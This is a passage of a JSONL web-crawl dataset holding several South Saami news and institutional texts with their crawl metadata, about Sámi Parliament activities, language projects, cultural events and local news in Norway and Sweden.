0.9999780654907227}","num_words":1172,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Denne uken deltar president Aili Keskitalo og leder for Sametingets ungdomspolitiske utvalg (SUPU), Ole Henrik Bjørkmo Lifjell på møter i FNs permanente forum for urfolkssaker. Forumets 17. sesjon foregår i New York. Årets tema er urfolks kollektive rettigheter til land, territorier og ressurser.\nFNs permanente forum for urfolkssaker skaffer til veie ekspertråd og gir anbefalinger innenfor feltene økonomisk og sosial utvikling, kultur, miljø, utdannelse, helse og menneskerettigheter.\nPå årets sesjon følger Sametinget særskilt sakene som omhandler implementering av FNs erklæring om urfolks rettigheter. Videre er presidenten av FNs Generalforsamling innkalt til en høring om den videre prosessen for å sikre tilrettelagt deltakelse for urfolks representative institusjoner i FN-systemet. Dette er en sak som Sametinget har jobbet lenge med fordi vi som et folkevalgt organ for samene i Norge ikke har anledning til å møte i egen kapasitet på relevante nivåer FN på samme vilkår som sivilsamfunnets organisasjoner (NGOer). Sametingspresidenten har meldt inn at hun skal holde innlegg på disse temaene.\nSametingets erfaring viser at når vi får anledning til å fremme egne synspunkter i prosesser som angår våre rettigheter så får vi bedre gjennomslag. Innenfor FNs overvåkningorganer for konvensjoner som Norge har ratifisert leverer vi alternative rapporter. Det samme gjelder i forhold til ILO 169 konvensjonen om urfolk. I dag har vi tilgang til høringer i FN overfor FNs Menneskerettighetsråd, FNs Menneskerettighetskomité, FNs kvinnediskrimineringskomité, FNs rasediskrimineringskomité og FNs barnekomité. Dette bør utvides for urfolksparlamenter og andre representative institusjoner til å gjelde på alle relevante nivå i FN. For eksempel innenfor FNs klimakonvensjon, FNs konvensjon om biologisk mangfold og møter i FNs Generalforsamling. I daq er vi avhengige av å delta gjennom Norges delegasjon på slike møter. Det kan begrense våre muligheter til å fremme Sametingets standpunkter.\nPå årets forum vil Keskitalo holde innlegg om Det internasjonale år for urfolksspråk, 2019 i regi av UNESCO. I tillegg vil presidenten lørdag 21. april holde innlegg på en konferanse om urfolks språk på Colombia University. Sametingets oppfølginger av utredningen NOU 2016: 18 – Hjertespråket vil danne grunnlaget for mye av det som skal sies. Verdens ca. 370 millioner urfolk, som bor i over 90 land utgjør mindre enn fem prosent av verdens befolkning, men allikevel snakker vi majoriteten av verdens beregnede 7000 språk og representerer 5000 forskjellige urfolkskulturer. Mange av disse språkene er alvorlig truet. Det er et stort tap for menneskeheten om urfolks språk og kultur forsvinner. Derfor må det settes inn tiltak som bevarer og utvikler språk. Dette gjelder i aller høyeste grad også for de samiske språkene.\nOle Henrik Bjørkmo Lifjell fra SUPU vil delta på det globale ungdoms urfolks caucus, og bli involvert i å fremme saker som de vil fronte. Det legges opp til koordineringer av den arktiske regionen (samene og inuittene) sine felles målsettinger på ulike agendapunkter. Det samme gjelder for Samisk parlamentarisk råd (SPR). Flere av innleggene fra sametingene vil være samkjørt. For eksempel i drøftinger om enkeltsaker som Arctic Railway og Tana-avtalen, samt i diskusjoner om grønn energi som vindmøller og vannkraft, og i saker som handler om gruvedrift i urfolks områder.\nEN:n ihkuve forume aalkoealmetjeaamhtesidie raerieh reeblie maehtehtjijstie, jïh juvnehtimmieh vadta suerkiej bïjre goh ekonomeles jïh sosijaale evtiedimmie, kultuvre, byjrese, ööhpehtimmie, healsoe jïh almetjereaktah.\nDaan jaepien sesjovnesne Saemiedigkie joekoen dejtie aamhtesidie dåerede mah leah implementeradimmien bïjre EN:n bæjhkoehtimmeste aalkoealmetji reaktaj bïjre. Presidente aaj akten govlehtæmman bööresovveme EN:n Generaalekrirreste dan guhkiebasse prosessen bïjre juktie gorredidh aalkoealmetji representatijve institusjovnh EN-systeemesne åadtjoeh eensilaakan meatan årrodh. Daate akte aamhtese mejnie Saemiedigkie lea guhkiem barkeme dan åvteste mijjieh goh almetjeveeljeme årgaane saemide Nöörjesne, ibie jïjtsh nuepiem utnieh tjåanghkojne mïnnedh sjyöhtehke daltesinie EN:sne seamma nuepiejgujmie goh sivijlesiebriedahken årganisajovnh (NGOh). Saemiedigkiepresidente lea beavneme satne edtja håalodh daej teemaj bïjre.\nSaemiedigkien dååjrehtimmie vuesehte gosse mijjieh nuepiem åadtjobe jïjtsh vuajnoeh buektedh prosessine mah leah mijjen reaktaj bïjre dellie buerebe dåarjoem åadtjobe. EN:n vaaksjoemeårgaani sisnjeli konvensjovnide mejtie Nöörje lea ratifiseradamme mijjieh alternatijve reektehtsh deellebe. Seammalaakan ILO 169 konvensjovnen bïjre aalkoealmetji bïjre. Daan biejjien maehtebe meatan årrodh govlehtimmine raerine jïh moenehtsinie goh EN:n Almetjereaktaraerie, EN:n Almetjereaktamoenehtse, EN:n nyjsenesïerredimmiemoenehtse, EN:n sïerredimmiemoenehtse jïh EN:n maanamoenehtse. Aalkoealmetjeparlameentide jïh jeatjah representatijve institusjovnide byöroe dam vijriedidh guktie aaj faamosne gaajhkine sjyöhtehke daltesinie EN:sne. Vuesiehtimmien gaavhtan EN:n klijmakonvensjovnen sisnjelen, EN:n konvensjovne biologeles gellievoeten bïjre jïh tjåanghkoeh EN:n Generaalekrirresne. Daan biejjien libie jearohke meatan årrodh Nöörjen delegasjovnen tjïrrh dagkerh tjåanghkojne. Daate maahta mijjen nuepieh gaertjiedidh juktie Saemiedigkien vuajnoeh buektedh.\nDaan jaepien forumisnie Keskitalo sæjhta håalodh Dan gaskenasjovnale jaepien bïjre aalkoealmetjegïelide, 2019 maam UNESCO tjïrrehte. Lissine presidente sæjhta håalomem hööltedh laavadahken voerhtjen 21.b. aktene konferansesne aalkoealmetjegïeli bïjre Colombia Universiteetesne. Saemiedigkien guhkiebasse barkoe salkehtimmeste NBS 2016:18 – Vaajmoegïele, sæjhta våaroeminie årrodh jeenjede destie mij edtja jeahtasovvedh. Veartenen medtie 370 millijovnh aalkoealmetjh mah jieniebinie goh 90 laanth årroeminie leah vaenebh goh vïjhte prosenth gaajhkijste årroejijstie veartenisnie, men læjhkan soptsestibie jienebelåhkoen bïjre dejstie veartenen aerviedamme 7000 gïelijste mah gååvnesieh 5000 ovmessie aalkoealmetjekultuvrine. Gellieh dejstie gïelijste leah itjmies håvhtadamme. Akte stoerre teehpeme gaajhkide almetjidie jis aalkoealmetji gïelh jïh kultuvrh gaarvanieh. Dan åvteste daerpies råajvarimmiejgujmie mah gïelide vaarjelieh jïh evtiedieh. Daate aaj tjarke faamosne dejtie saemien gïelide.\nOle Henrik Bjørkmo Lifjell SNPM:ste sæjhta meatan årrodh dennie veartenevijries noereaalkoealmetjeöörnedimmesne caucus, jïh sæjhta meatan årrodh aamhtesh buektedh mah dah sijhtieh eevtjedh. Soejkesjen mietie edtja dan arktihkeles dajven ulmieh iktedidh (saemieh jïh inuihth) ovmessie agendatsiehkine. Seammalaakan aaj Saemien parlamentarihkeles raaran (SPR). Jienebh dejstie håaloemijstie saemiedigkijste sijhtieh iktedamme årrodh. Vuesiehtimmien gaavhtan digkiedimmesne aktegsaamhtesi bïjre goh Arctic Railway jïh Deatnu-latjkoe, jïh aaj digkiedimmine kruana energijen bïjre goh bïegkejårrehtsh jïh bïegkefaamoe, jïh aamhtesinie mah leah gruvagïehtelimmien bïjre aalkoealmetjedajvine.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/snasanytt.no\/2018\/04\/16\/sametinget-deltar-pa-fn-moter-new-york-saemiedigkie-lea-meatan-tjaanghkojne-gaetesne-new-yorkesne\/","date":"2018-04-25T12:16:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947803.66\/warc\/CC-MAIN-20180425115743-20180425135743-00615.warc.gz","language":"sma","language_score":0.9854376912,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9854376912117004}","num_words":885,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dihte ruevtie-raajroe mij dajsta aereden noerhtese Musseren jih Bådåddjen gasken juhti, gåeblien sijse dabrani. Elmie jih gåaltoes vearolde darjoeji daate ruevtie-geajnoe Sælhtie vaeresne gåaltoeji.\nOv-læhkoe gøøkte bijli gaskem, darjoeji tjoerin E6 geajnoem aaj Saelhtie vaeresne dahpedh. Dihte ruevtie-raajroe mij åarjese båata, tjoara bååstede Bådåddjen gåajka jerkiehtidh.\nDaate lea diesele ruevtie-raajroe gusnie vearmoe jih tjoevke sisnie.\n50 feelije almetjh meatan ruevtie-raajrosne gåessie Saelhtie vaeresne dabrani.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/ruevtie-raajroe-gaebliesne-dabranamme-1.12344979","date":"2018-04-22T15:36:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945604.91\/warc\/CC-MAIN-20180422135010-20180422155010-00544.warc.gz","language":"sma","language_score":0.999997735,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999977350234985}","num_words":65,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Mijjieh sijhtebe vuejnedh gaptam abpe eatnamisnie, jih håhkesjebe gaajhkh mij gaptam utnieh, edtjieh dam tsaekedh, ståvroelïhtsege Anna Linnea Fjellheim Varsi jeahta.\nDuarsta daan våhkoen lea voestes aejkien nasjovnale gaptabiejjie. Noereåårganisasjovne Noereh lea daan deahpadimmien duekesne.\nJis ij gaptam utnieh, dle maahtah skohpmehke jallh voedtegh löönedh, jallh datne maahtah maam-akt gåarodh.\nVihkeles gaptam vuesiehtidh\nÅarjelsaemien niejte, Anna Nordfjell, lea novh positijve daan biejjese. Dïhte vienta edtja meatan årrodh jih gaptam tsaekedh.\n– Manne tuhtjiem daate lea buerie biejjie vuesiehtidh mijjen tjaebpies gapta jih mijjen kultuvre, Anna jeahta.\nDïhte aaj tuhtjie almetjh eah daejrieh saemien bïjre, jih kaanne nasjovnalebiejjie goh daate maahta buerebe maahtoe jih vååjnoe vedtedh dejtie goh ij dan soe jijnjh daejrieh.\nSeamma gusnie datne leah\nDïhte åssjalommes bööti gosse dah noereh ussjedin dah daarpesjin jijtje gaptabiejjie, jih gaptabiejjie sjædta.\nIhkie Noereh lea dorjeme orre biejjie, ij lea naan joekoen sijjie gusnie daate edtja deahpadidh.\n– Mijjieh sijhtebe datne edtjh gaptam tsaekedh sïjhme biejjiesne seamma gusnie leah, Fjellheim Varsi jeahta.\nLohkh aaj: Gaptabiejjie","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/www.nrk.no\/sapmi\/nasjovnale-gaptabiejjie-1.11656118","date":"2018-05-27T06:09:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794868003.97\/warc\/CC-MAIN-20180527044401-20180527064401-00405.warc.gz","language":"sma","language_score":0.9999760389,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999760389328003}","num_words":161,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Minngemes bielie jaepie, dam Stoerre baertien tunnelem steegkeme, dannasinie berkieh jih tunnelem dåvvodh jih bueriedidh.\nTjoereme dellie krøøvvestidh jih Stoerre baertien båeries geajnoem vuejedh.\nDaelie dihte båeries geajnoe Stoerre baertien dåaresth, daan nåake sjïdteme jih vuejnebe tjoerebe daam tunnelem Stoerre baertien tjirrh vihth rïhpestidh, Nina Kjeøy, Statens vegvesenste bïevnede.\nGaahpede gøøkten aejkien biejjesne.\nStoerre baertie tunnelen tjirrh åadtjoeh aereden jih iehkeds-biejjien vuejedh.\n– Tunnelem rïhpestibie aeredistie ts. 06.30-08.30 jih iehkeds-biejjien ts.15-17, Kjeøy jeahta.\nGaskevåhkoe rahkan 4.b. ts. 15.00 voestes biejjie, tunnelem rïhpestieh.\nDaan biejjegen tjuara Skorovatnen baaktoe vuejedh jis Raarvihkese ussjedh.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/stoerre-baertien-tunnelem-rihpestieh-1.12636689","date":"2018-07-23T14:07:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676596463.91\/warc\/CC-MAIN-20180723125929-20180723145929-00634.warc.gz","language":"sma","language_score":0.9999777079,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999977707862854}","num_words":88,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieskuvlen maanah Dearnesne varki gærjabussese skudtieh, guhkiem dam bussem vuarteme. Bussesne saemien, daaroen jïh svïenske gærjah. Dovne maanide jïh geervealmetjidie. Elmie-Valentina lyjhkoe gærjah lohkedh.\nGolme gærjabussh Nöörjeste diekie Sveerjen bealan båetieh. Ikth askesne daate busse diekie Dearnese båata. Tysfjordese\/ Divtasvuodnan saemien gærjabusse njeeljh jaepesne båata Jiellevaaran.\nJih Åarjel-Tröndelageste Älvdalenisse aaj båata saemien gærjabusse.\n– Luspien tjïeltesne åarjel-, Ubmeje-, luvlie- jïh noerhtesaemieh. Jïh bussesne gærjah gaajhkesidie. Aellieh maa vïenhth naan jeatjah gærjagåetieh dagkeres faaleldahkem utnieh. Vihkeles hov saemide fihkedh jïjtsh gïelesne lohkedh, soptseste Erika Fjällström, Lusspien Tjielten unnebelåhkoe-koordinatovre.\nLæjhkan jis ih maehtieh lohkedh, fihkh gærjide löönedh.\nGrunden i vår journalistik är trovärdighet och opartiskhet. Sveriges Radio och SVT är oberoende i förhållande till politiska, religiösa, ekonomiska, offentliga och privata särintressen.\nVuođđu min journalistihkas lea luohtehahttivuohta ja bealátkeahtesvuohta.Ruoŧa Rádio ja Ruoŧa TV leat sorjjasmeahttumat politihkalaš, oskkolaš, ruđalaš, almmolaš ja priváhta sierraberoštumiid ektui.\nLäs mer om hur vi bedriver vårt arbete:\nLoga eanet mo mii doaimmahat bargguideamet:","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/sverigesradio.se\/sida\/artikel.aspx?programid=2327&artikel=6081658","date":"2018-08-15T13:09:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210105.8\/warc\/CC-MAIN-20180815122304-20180815142304-00328.warc.gz","language":"sma","language_score":0.96663028,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9666302800178528, \"sme_Latn_score\": 0.03311552852392197}","num_words":153,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aajege- gïele jih kultuvre jarnge, Rørosesne, Plassesne, barkoeminie edtjieh åarjelsaemien gielem nænnoestidh jih evtiedidh. Dah leah gellie gïeleprosjeekth syøkeme, guktie sijhtieh saemien gïele faaleldahkem maanide ,noeride , geerve jih voeres almetjidie faaledh.\nJijtjen åarjelsaemien radijove jih nedte faaleldahke.\nDaan tjaktjen dellie saemieh Plassjen dajvesne jijtjen åarjelsaemien radijove saadtegem åadtjoeh. Aajegen åejvie Toini Bergstrøm tuhtjie daate lea gieltegs prosjeekte.\n– Daate lea ektiebarkoeprosjeekte Nea radijoven ektesne, radijove jih nedte faaleldahkem buektiehtidh. Daate lea orre prosjeekte mij gieltegs sjædta, Bergstrøme jeahta.\nDaan tjaktjen edtjieh dah radijove saadtegh aelkedh.\n– Ussjedibie, bielie tæjmoem våhkosne seedtedh. Ij leah barre saernieh, jeatja aamhtesi bijre aaj, studijove guessieh, tekste lohkeme, jih jijnje jeatja maam radijovesne maahta darjodh, jih aaj nedte aamhtesh sjædta, Bergstrøme bievnede.\nMan vihkeles dagkeres gïele prosjeekth dijjese?\n–Daate lea joekoen vihkeles. Tjoeveribie åarjelsaemien gïelem lieredh jih bååstede vaeltedh jih saemien gïelem vijriebasse evtiedidh jih vihkeles aaj dihte saemie jih saemiengïele daan Plassjen dajvesne vååjnoe, Bergstrøme jeahta.\nSaemiedigkie Aajegen gïele prosjeektide dåarjome.\nAajege ussjede nielie gïele prosjeekti gujmie barkedh . Gadtsegarhkh gïele tjåanghkoe aarh-skuvle jih vuelemes daltese skuvlemaanide. Gaavnedibie Rørosesne, sijjie gusnie geerve jih voeres almetjh edtjieh tjåangkanidh jih guktie edtjieh dåemiedimmie spielem\/ rolle spielem nuhtjedh jih evtididh gosse saemien gïelem edtjieh øøhpehtidh. Saemiedigkien raerijen Ann-Mari Thomassen tuhtjie daerpies jih åarjelsaemien gïelem Røros saemien dajvesne nænnoestidh.\n– Daate hov vihkeles barkoe, mejnie Aajege giehteleminie. Dagkeres revitaliseringe barkoe. Dagkeres gïele prosjeekth vihkeles dåarjodh, gåessie ij dihte Rørosen tjïelte ennje meatan daan guektiengïele reereme dajvesne, Ann-Mari Thomassen jeahta.","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/www.nrk.no\/sapmi\/aajege-edtja-aarjelsaemien-giele-faaleldahkem-vijriedidh-1.12322790","date":"2018-09-24T10:33:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267160337.78\/warc\/CC-MAIN-20180924090455-20180924110855-00387.warc.gz","language":"sma","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999971389770508}","num_words":237,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie lea ållesth 266.000,- kråvnah dåårjeme akten noere göölijasse (22) Gálsan tjïeltesne mij sæjhta gööleminie jïjtse vïnhtsine nïerhkedh jïh mij sæjhta ræhpas dåehkesne gööledh. Beetnegi åvteste Saemiedigkeste edtja vïnhtsem dïrregigujmie jïh dalhketjh åestedh.\n- Vihkeles viehkiehtidh guktie akte eadtjohke mearoegaedtie- jïh vïnhtseveahka bæjjese bigkesåvva juktie göölemem tjåadtjoehtidh saemien mearoegaedtie- jïh fjovledajvine. Dellie tjoerebe noerh dåarjoehtidh mah sijhtieh daejnie barkedh, saemiedigkieraerie Silje Karine Muotka jeahta.\nSaemiedigkie sæjhta viehkiehtidh dam lïhkes mearoegaedtievïnhtseveahkam bæjjese bigkedh dejnie mearoesaemien årromedajvine, jïh dåarjoem prioriterede noere göölijidie mah voestes aejkien vïnhtsem åestieh. Saemiedigkien göölemepolitihke aktem nænnoes fokusem åtna dan unnemes vïnhtseveahkan reaktah gorredidh jïh nænnoestehtedh mearoegaedtie- jïh fjovlegöölemasse.\n- Gosse ekonomeles dåarjoem göölijidie vadta mah göölemevïnhtsem åestieh jïh mah sijhtieh jieliemisnie aelkedh, mijjen håhkoe lea skreejrehtidh guktie almetjh dejnie dajvine årroeh, jïh aarvoem jïh fasseldimmiem sjugniedidh saemien mearoegaedtine jïh fjovledajvine. Aaj vihkeles gosse dåårrehtimmiem göölemebarkose måjhtele, saemiedigkieraerie Muotka jeahta.\nDuarstan, voerhtjen 5. b. 2018 Saemiedigkieraerie dåarjoem dåarjoeji aktegsaajhteresïeltese Anders Hansen, Gálsan tjïeltesne (200.000,- kråvnah vïnhtsese jïh 66.000,- kråvnah dïrregidie\/dalhketjidie). Ohtseme lea dej prioriterdimmiej sisnjeli Saemiedigkien budsjedtesne marijne jieliemidie 2018.\nVielie bïevnesh, gaskesadth saemiedigkieraeriem Silje Karine Muotka, tellefovne 984 87 576","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Daaarjoem-daaarjoeji-noere-goeoelijasse","date":"2018-09-19T05:11:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267155924.5\/warc\/CC-MAIN-20180919043926-20180919063926-00243.warc.gz","language":"sma","language_score":0.9999965429,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999996542930603}","num_words":171,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nJeatjah guhkiebasse barkoe saemien reaktajgujmie, arealigujmie jïh vierhtiejgujmie - ohtsemebaseradamme dåarjoe\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nSaemiedigkie dåarjoem vadta evtiedæmman pedagogeles ïebnijste maanagïertide.\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.\nFormålet med tilskuddsordningen er å sikre det finansielle grunnlaget til organisasjonene til partier og grupper som er representert i Sametinget.\nSaemiedigkie dåarjoem vadta juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh maadthlïerehtæmman evtiedidh.\nSametinget ønsker å styrke samarbeidet med regionale og lokale myndigheter i arbeidet med å bevare og styrke samiske språk, samisk kultur, næringer og samfunnsliv. Gjennom etableringen av partnerskapsavtaler, samarbeidsavtaler med kommuner og fylkeskommuner, samt andre sentrale institusjoner hvis virksomhet berører samiske interesser.","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2018-09-19T04:48:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267155924.5\/warc\/CC-MAIN-20180919043926-20180919063926-00513.warc.gz","language":"sma","language_score":0.9979346991,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9979346990585327}","num_words":132,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Alexandra Björklund jïh Tove Eriksson faepieldigan gosse iehkedisnie laavloejigan jïh gitarrem jïh fijolem spealadigan. Dah guaktah gujht båeries poplaavlomh goh Beatles Yesterdah jïjtse vuekien mietie dorjeme jïh novh gujht gaertieldihkie dah laavlomh.\nAejlegen lij aaj heevehtimmie. Dellie lij voestemes gyrhkesjimmie Hotagen gærhkosne. Gærhkoen tjaebpies rïeseldahkesne saemien klaeriejgujmie. Vaentjeleteekstem åarjelsaemien gïelesne lohki jïh gaajhkh saalmh saemien gïelesne laavloejin.\nVirdi Kruehkien Ååsa, religovnehistovrijedaejrije, lij minngemes dan hïeljen daehpadimmesne jïh satne ovmese saemien vuekiej bïjre soptsesti.\nEwa Ljungdal lea 20 jaepine saemien arkeologijine barkeme. Men ij goh akte gännah mij bööremes sov gaavnemisnie.\n- Gïeltemes mov mïelesne man jijnjh tjåenieh jïh sijjieh leah, ij naan sjïere, jïh luste dah gujht aaj dan båeries.\nBiejjesne dovne itjmie jïh luste. BispeTuulikki Koivunen Bylund soptsesti sov bïjre, tïjjen bïjre goh bispene barkeme jïh gukie ij goh eensi laakan haarjanamme bispekroessem jïh bispeklaahkam guedtedh.\n- Jirreden hov edtjede vuejnedh man væjkele manne sjïdteme klaahkine vaedtsedh, bispe Tuulikki jeahta jïh gaajhkesh föörhkestieh.\nKyrka i samiska färger\nAlexandra Björklund och Tove Eriksson stod för underhållningen lite senare på kvällen, när de båda sjöng och spelade gitarr och fiol. De hade gjort om gamla poplåtar som Beatles Yesterday i egna versioner som var mycket uppskattade.\nFirandet av nationaldagen fortsatte även på söndagen. Dagen inleddes med en mässa i Hotagens kyrka som var fint smyckad samiska färger. Evangelietexten lästes på sydsamiska och alla psalmer sjöngs på samiska.\nÅsa Virdi Kråik, religionshistoriker, avslutade helgen med att berätta om olika samiska riter.\nSatne soptsesti dan sov barkoe saemien kultuvremojhtsh goerehtalledh Jïemhtesne jïh Härjedaelesne. Daan raajan 10 000 mojhtsh goerehtamme. Dïhte mij satnem stuvrie barkedh lea gaajhkh ovreaktah mejtie saemiej vuestie dorjeme.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.svenskakyrkan.se\/saemien-aalemegebiejjiem-grhkosne-heevehtin","date":"2018-11-12T21:04:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039741087.23\/warc\/CC-MAIN-20181112193627-20181112215627-00309.warc.gz","language":"sma","language_score":0.999471724,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9994717240333557}","num_words":263,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Årrode meatan gïelelutnjemisnie!\n- Mijjen vihkielommes laavenjasse lea sijjieh sjugniedidh saemien gïelide jïh baahtsemenuepiem gïelide vedtedh. Daate sæjhta jiehtedh mijjieh tjoerebe saemien gïelelïerehtæmman jïh åtnose saemien gïeleste sjïehteladtedh gaajhkine areenine siebriedahkesne. Tjoerebe aaj saemien gïelh våajnoes darjodh dennie byögkeles tjiehtjielisnie jïh hijven sjïdtemenuepieh gïelide sjugniedidh, saemiedigkiepresidente Aili Keskitalo jeahta.\nMin boazu - akte bovtseleekedimmiesïelte mij aadtjen aalkeme, vuesehte guktie saemien gïele våajnoes dorjesåvva. Sïelte saemien gïelem nuhtjie gaajhkine sov dorjesinie, logojne, bæjhkoehtimmine jïh bïevnesinie dovne sosijaale meedijinie jïh gosse båatsoeaajhterigujmie gaskesadta.\n– Mijjieh jienebh dagkerh dåarjoeh sïjhtebe. Jïh mijjieh sïjhtebe edtja iemie årrodh saemien jïh nöörjen leah våajnoes loevtsæjresne, mejtie lea beapmoen bïjre, bæjhkoehtimmine jallh sosijaale meedijinie, saemiedigkiepresidente jeahta.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/samimag.no\/sma\/content\/arrode-meatan-gielelutnjemisnie","date":"2019-01-17T04:30:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583658702.9\/warc\/CC-MAIN-20190117041621-20190117063621-00512.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":106,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.189,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Duodji Dreamers akte tjeahpoevuasahtalleme gusnie 10 noere vytnesjæjjah gaskem 20 jïh 35 jaepieh duedtien bïjre ussjedellieh daan beajjetje daejbaaletje siebriedahkesne jïh rïektes jieliedisnie. Vuasahtallemen fokuse lea monnehkevoete. Doh 10 vytnesjæjjah leah fïereguhten vierhkiem våarhkoste Saemien Tjeahpoemagasijnesne veeljeme goh skraejrie akten orre vearhkan maam jïjtjh dorjeme. Dovne vierhkie mij lea dej skraejrie jïh dïhte orre vierhkie leah akte bielie vuasahtallemistie.\n– Saemiedigkieraerie vuajna prosjekte maahta viehkiehtidh duedtiem våajnoes darjodh, jïh gosse måjhtele man gellie guessieh mah festivaalese båetieh, prosjekte maahta jienebh dåårrehtidh vytnesjæjjine aelkedh, saemiedigkieraerie Silje Karine Muotka jeahta.\nDuodji Dreamers akte laavenjostoe gaskem Riddu Riđđu, Noerhteåålmegi jarnge jïh Saemien Tjeahpoemagasijne, jïh vuasahtalleme rïhpeste Riddu Riđđu-festivaalesne snjaltjen 11.b. Vytnesjæjjah sijhtieh aaj meatan årrodh aktene paneelesoptsestallemisnie laavadahken snjaltjen 14.b., maam monnehkevoete sæjhta dejtie jiehtedh dej barkosne duedtine, jïh guktie duedtie maahta evtiesovvedh jïh gie reaktam utnieh duedtiem evtiedidh.\nAaj Romsan fylhke lea prosjektem vuarjasjamme goh joekoen hijven jïh dej ulmiej mietie laavenjostoelatjkosne juktie skreejrehtidh ihke jienebh noere saemieh vytnesjæjjine aelkieh, jïh dan åvteste 30 000 kråvnah prosjektese dåårjeme.\n– Mijjieh gegkiestibie Finnmaarhken fylhkentjïelte aaj prosjektem dåårje, Muotka jeahta.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Silje Karine Muotka, 